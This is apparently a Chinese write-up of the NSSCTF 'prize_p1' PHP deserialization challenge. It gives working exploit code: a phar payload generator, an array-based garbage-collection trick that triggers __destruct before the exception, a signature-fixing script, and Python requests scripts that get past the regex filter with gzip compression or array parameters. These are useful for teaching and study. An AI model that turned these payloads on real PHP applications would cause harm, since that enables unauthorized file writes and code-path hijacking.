[NSSCTF]prize_p1

news2024/11/26 18:44:43

前言

之前做了p5 才知道还有p1到p4

遂来做一下

顺便复习一下反序列化

prize_p1

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <?php
  highlight_file(__FILE__);
  class getflag
  {
    function __destruct()
    {
      echo getenv("FLAG");
    }
  }

  class A
  {
    public $config;
    function __destruct()
    {
      if ($this->config == 'w') {
        $data = $_POST[0];
        if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
          die("我知道你想干吗,我的建议是不要那样做。");
        }
        file_put_contents("./tmp/a.txt", $data);
      } else if ($this->config == 'r') {
        $data = $_POST[0];
        if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
          die("我知道你想干吗,我的建议是不要那样做。");
        }
        echo file_get_contents($data);
      }
    }
  }
  if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
  }
  unserialize($_GET[0]);
  throw new Error("那么就从这里开始起航吧");

这里定义两个类

第一个类可以通过触发_destruct()得到flag

第二个类可以实现文件读写的功能

可以传两个变量 一个post一个get

因为get里面正则匹配过滤了getflag 我们没法用get传参直接反序列化触发getflag类

但是可以利用post 上传phar文件 再用phar协议读取

就可以反序列化class getflag

从而触发__destruct()魔术方法 echo flag

那么我们第一步先生成phar文件

<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
   // 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar');   // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('test.phar');  // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering();  // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test");  // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

但是post里面也过滤了getflag

生成的phar文件里面还是包含getflag明文

类比之前做过一题phar反序列化 只要把

phar文件打成压缩包

(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)

传输进去的就是二进制流乱码 就可以绕过正则匹配

写个脚本上传一下

import requests
import re
import gzip

url="http://node4.anna.nssctf.cn:28134/"

### 先将phar文件变成gzip文件
with open("./1.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)       
print(flag)

最后返回的结果为空

再回去看这个代码

要绕过这个异常

绕过异常

在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为

a:2:{i:0;O:7:"getflag":{}i:0;N;}

怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。

重新生成phar文件

<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
   // 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar');   // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('p1.phar');  // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering();  // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$o = array(0=>$o,1=>null);
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test");  // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

但是我们一旦更改phar里的内容就要修改它的签名

修复签名的代码

from hashlib import sha1
f = open('./p12.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

再运行一下

import requests
import re
import gzip

url="http://node4.anna.nssctf.cn:28134/"

### 先将phar文件变成gzip文件
with open("./ph2.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)


### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)

flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

成功得到flag

看别的wp又学到这里用数组的话 不压缩也可以绕过正则

import requests
import re

url="http://node4.anna.nssctf.cn:28134/"

### 写入phar文件
with open("ph2.phar",'rb') as f:
    data1={'0[]':f.read()}          #传数组绕过,值就是hacker1.phar文件的内容
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    res1 = requests.post(url=url, params=param1,data=data1)

### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)

原理如下:

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写

最后

总结一下这题的知识点

__destruct触发

对象的析构函数在对象被销毁时触发,对象被销毁的情况

正常销毁:

当整个程序生命周期结束前会销毁所有的对象

可以看到 在整个程序执行完后才触发了__destruct()魔术方法

手动释放变量销毁

使用unset函数释放变量

在程序执行完之前我们手动释放了变量

触发__destruct()魔术方法

gc回收未引用变量

面向对象的语言内部都有gc机制,来回收没有被引用的变量,所以这个时候也会触发__destruct

创建时就未被引用



这里创建对象的时候没有用变量来接收引用,所以也在echo "lll\n"之前就被gc回收触发析构函数

创建后人为消除引用



这里对象创建的时候是$a这个数组里面0索引指向引用的,在10行改变0索引指向null,这样就使得a的对象没有任何引用,所以也会在11行执行前,被gc回收销毁触发析构函数

这题就是用这个方法提前触发这个析构函数 从而绕过最后一行的抛出异常

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1639340.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

能源监控新方案:IEC104转MQTT网关在新能源发电中的应用

需求背景 近些年&#xff0c;我国新能源产业快速发展&#xff0c;光伏、风电等新能源项目高速增长&#xff0c;新能源发电已经成为国家能源结构的重要组成部分。 打造数字化、智能化、信息化的电力物联网系统&#xff0c;实现光伏风电等新能源发电站的远程监控、远程维护是新能…

企业气候风险披露、报表词频、文本分析数据集合(2007-2022年)

01、数据介绍 企业气候风险披露是指企业通过一定的方式&#xff0c;将气候变化对其影响、自身采取的应对措施等信息披露出来。这有助于投资者更准确地评估企业价值&#xff0c;发现投资机会&#xff0c;规避投资风险。解企业在气候风险方面的关注度和披露情况。 可以帮助利益…

系统调用 int 86 的过程

该图借鉴与 Linux系统调用全过程详解-高性能服务器开发&#xff0c;向作者致敬。

WPF之创建无外观控件

1&#xff0c;定义无外观控件。 定义默认样式&#xff0c;在其静态构造函数中调用DefaultStyleKeyProperty.OverrideMetadata()。 //设置默认样式DefaultStyleKeyProperty.OverrideMetadata(typeof(ColorPicker), new FrameworkPropertyMetadata(typeof(ColorPicker))); 在项目…

【喜报】科大睿智为武汉博睿英特科技高质量通过CMMI3级评估咨询工作

武汉博睿英特科技有限公司是信息通信技术产品、建筑智慧工程服务提供商。其拥有专注于航空、政府、教育、金融等多行业领域的资深团队&#xff0c;及时掌握最新信息通信应用技术&#xff0c;深刻理解行业业务流程&#xff0c;擅于整合市场优质资源&#xff0c;积极保持与高校产…

06_电子设计教程基础篇(学习视频推荐)

文章目录 前言一、基础视频1、电路原理3、模电4、高频电子线路5、电力电子技术6、数学物理方法7、电磁场与电磁波8、信号系统9、自动控制原理10、通信原理11、单片机原理 二、科普视频1、工科男孙老师2、达尔闻3、爱上半导体4、华秋商城5、JT硬件乐趣6、洋桃电子 三、教学视频1…

日期类的模拟实现

1.定义一个日期类 有关类的定义&#xff0c;首先是需要声明共有类和私有类的成员函数和成员变量。 这里我分了三个文件写&#xff0c;分别有Date.h&#xff0c;Date.cpp&#xff0c;test.cpp using namespace std; class Date { private:int _year;int _month;int _day;publ…

IF67负载的纳米纤维膜材料

IF67负载的纳米纤维膜材料是一种结合了ZIF67&#xff08;一种沸石咪唑酯骨架结构材料&#xff09;和纳米纤维膜的材料。这种材料的制备方法通常涉及以下步骤&#xff1a; 制备含有ZIF67纳米晶体的纺丝液。 将该纺丝液与另一纺丝液&#xff08;如聚乙烯醇缩丁醛或聚氨酯的纺丝液…

firebase:一款功能强大的Firebase数据库安全漏洞与错误配置检测工具

关于firebase firebase是一款针对Firebase数据库的安全工具&#xff0c;该工具基于Python 3开发&#xff0c;可以帮助广大研究人员针对目标Firebase数据库执行安全漏洞扫描、漏洞测试和错误配置检测等任务。 该工具专为红队研究人员设计&#xff0c;请在获得授权许可后再进行安…

Science Advances|用于非侵入性表型分析的全有机透明植物电子皮肤(植物电子皮肤/柔性电子)

新加坡国立大学 Chengkuo Lee和Eunyoung Chae团队,在期刊《Science Advances》上发布了一篇题为“All-organic transparent plant e-skin for noninvasive phenotyping”的论文。论文内容如下: 一、 摘要 植物生理的实时原位监测是建立精准农业表型平台的关键。此监测的一项…

CSS优惠券、卡券样式绘制

实现左右凹陷中间有虚线效果 效果图 实现思路 从效果图可以看到这个优惠券是左右两边凹陷&#xff0c;中间还有一条虚线&#xff0c;为了封装后插槽使用方便&#xff0c;把优惠券以虚线为准分了两部分。这样布局的好处是上部分内容和下部分都可以自定义&#xff0c;不受内容限…

cmake的使用方法: 单个源文件的编译

一. 简介 经过前一篇文章的学习&#xff0c;针对不同平台下编译 .c工程时&#xff0c;为了不用针对不同平台编写&#xff08;不同标准&#xff0c;不同规范&#xff09;Makefile文件&#xff0c;提出了 cmake工具&#xff0c;cmake可以解决跨平台编译的问题。 cmake 就是针对…

JAVA面试题---WEB部分

网络通讯 TCP与UDP TCP(Transmission Control Protocol 传输控制协议)是一种面向连接(连接导向)的、 可靠的、 基于 IP 的传输层协议。 UDP 是 User Datagram Protocol 的简称&#xff0c;中文名是用户数据报协议&#xff0c;是 OSI 参考模 型中的传输层协议&#xff0c;它是…

基于光伏电站真实数据集的深度学习预测模型(Python代码,深度学习五个模型)

效果视频链接&#xff1a;基于深度学习光伏预测系统&#xff08;五个模型&#xff09;_哔哩哔哩_bilibili 界面设计 注册界面 登录界面 主界面 展示界面 1.数据集来源 The SOLETE dataset 这里分别保存了不同间隔采样时间表格 1min是以1min 间隔采集的数据集 数据集截图&…

分享自己一篇在亚马逊云科技AWS官网发的Blog技术文章

小李哥在亚马逊AWS官网&#xff0c;作为第一作者发了自己的第一篇AWS Blog文章&#xff0c;也是自己今年在AWS官网的第11篇文章。文章主要内容是描述为出海的金融企业&#xff0c;搭建满足PCI-DSS合规、FIPS 140-2 Level 3安全标准的传输中数据加密云端方案&#xff0c;主要用于…

云服务器平台Featurize--基本使用步骤与使用感受

基本介绍 图1 网址&#xff1a;Featurize 可租用实例的显示界面如图所示。 图2 在简单的注册、登录、充值之后就可以对想要的实例直接进行租赁了。 关于实例&#xff0c;这里我的理解是已经配置好一定环境的服务器。 图3 使用感受 总结一下&#xff0c;Featurize上云服务器的…

【经典算法】LeetCode112. 路径总和(Java/C/Python3/Go实现含注释说明,Easy)

作者主页&#xff1a; &#x1f517;进朱者赤的博客 精选专栏&#xff1a;&#x1f517;经典算法 作者简介&#xff1a;阿里非典型程序员一枚 &#xff0c;记录在大厂的打怪升级之路。 一起学习Java、大数据、数据结构算法&#xff08;公众号同名&#xff09; ❤️觉得文章还…

Agent AI智能体:如何借助机器学习引领科技新潮流

文章目录 &#x1f4d1;前言一、Agent AI智能体的基本概念二、Agent AI智能体的技术进步2.1 机器学习技术2.2 自适应技术2.3 分布式计算与云计算 三、Agent AI智能体的知识积累3.1 知识图谱3.2 迁移学习 四、Agent AI智能体的挑战与机遇4.1 挑战4.2 机遇 小结 &#x1f4d1;前言…

004 秒杀下单

文章目录 超卖问题方案一方案二方案三aop锁(单机锁)aop锁(单机锁)pom.xmlLockAspect.javaServiceLock.java 分布式锁Mysql分布式锁Redis分布式锁ServiceRedisLock.javaLockRedisAspect.java 下单性能优化数据一致性解决一致性问题异步同步库存 秒杀下单业务步骤: 1.数据校验(身…

DS:顺序表、单链表的相关OJ题训练

欢迎各位来到 Harper.Lee 的学习小世界&#xff01; 博主主页传送门&#xff1a;Harper.Lee的博客主页 想要一起进步的uu可以来后台找我交流哦&#xff01; 在DS&#xff1a;单链表的实现 和 DS&#xff1a;顺序表的实现这两篇文章中&#xff0c;我详细介绍了顺序表和单链表的…